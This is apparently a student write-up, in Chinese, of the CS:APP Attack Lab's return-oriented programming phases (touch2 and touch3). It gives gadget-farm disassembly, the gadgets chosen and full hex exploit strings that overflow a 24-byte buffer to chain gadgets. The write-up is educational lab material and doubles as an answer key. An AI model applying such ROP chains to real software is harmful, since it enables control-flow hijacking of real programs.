0000000000401df1 <addval_209>:
401df1: 8d 87 89 c1 30 db lea -0x24cf3e77(%rdi),%eax
401df7: c3 ret
0000000000401df8 <setval_399>:
401df8: c7 07 89 d6 38 db movl $0xdb38d689,(%rdi)
401dfe: c3 ret
0000000000401dff <getval_419>:
401dff: b8 48 89 e0 c7 mov $0xc7e08948,%eax
401e04: c3 ret
0000000000401e05 <setval_172>:
401e05: c7 07 66 89 c1 c1 movl $0xc1c18966,(%rdi)
401e0b: c3 ret
0000000000401e0c <addval_464>:
401e0c: 8d 87 89 c1 94 90 lea -0x6f6b3e77(%rdi),%eax
401e12: c3 ret
0000000000401e13 <setval_323>:
401e13: c7 07 09 c1 20 db movl $0xdb20c109,(%rdi)
401e19: c3 ret
0000000000401e1a <addval_441>:
401e1a: 8d 87 89 d6 38 db lea -0x24c72977(%rdi),%eax
401e20: c3 ret
0000000000401e21 <end_farm>:
401e21: b8 01 00 00 00 mov $0x1,%eax
401e26: c3
touch2任务中,我们仅被允许使用start_farm到middle_farm之间的内容。
基本思路:把24字节缓冲区用垃圾填充,用garget1地址覆盖原本的返回地址,写入cookie,再写入garget2返回地址,最后写入touch2返回地址。
401d25开始是58 c3,也即pop %rax 。
401d2a开始是48 89 c7 c3,也即mov %rax, %rdi; ret 。
构造注入:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
25 1d 40 00 00 00 00 00 //garget1
45 ff 1e 3c 00 00 00 00 //cookie
2a 1d 40 00 00 00 00 00 //garget2
a3 1b 40 00 00 00 00 00 //touch2
注意此处的cookie要用小端序。
touch3
相对复杂。我们需要的garget指令段很多并非在c3之前,但是很多片段满足以下结构:有效指令+一些不改变寄存器的OP指令(如and or cmp)+c3。
以下是找到的指令:
58 c3 pop %rax
48 89 c7 c3 mov %rax, %rdi
48 89 e0 c3 mov %rsp, %rax
20 d2 c3 andb %dl
20 db c3 andb %bl
08 d2 c3 orb %dl
08 c9 c3 orb %cl
08 c0 c3 orb %al
38 d2 c3 cmpb %dl
38 db c3 cmpb %bl
89 c1 movl %eax %ecx
89 ca movl %ecx %edx
89 d6 movl %edx %esi
48 8d 04 37 lea (%rdi,%rsi,1),%rax
以下是代码结构:
mov %rsp %rax
mov %rax %rdi
pop %rax
movl %eax %ecx
movl %ecx %edx
movl %edx %esi
lea (%rdi,%rsi,1), %rax
mov %rax, %rdi
构造注入:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
92 1d 40 00 00 00 00 00
2a 1d 40 00 00 00 00 00
25 1d 40 00 00 00 00 00
48 00 00 00 00 00 00 00 //偏移量
bf 1d 40 00 00 00 00 00
56 1d 40 00 00 00 00 00
fa 1d 40 00 00 00 00 00
49 1d 40 00 00 00 00 00
2a 1d 40 00 00 00 00 00
7a 1c 40 00 00 00 00 00 //touch3
33 63 31 65 66 66 34 35 00 //字符串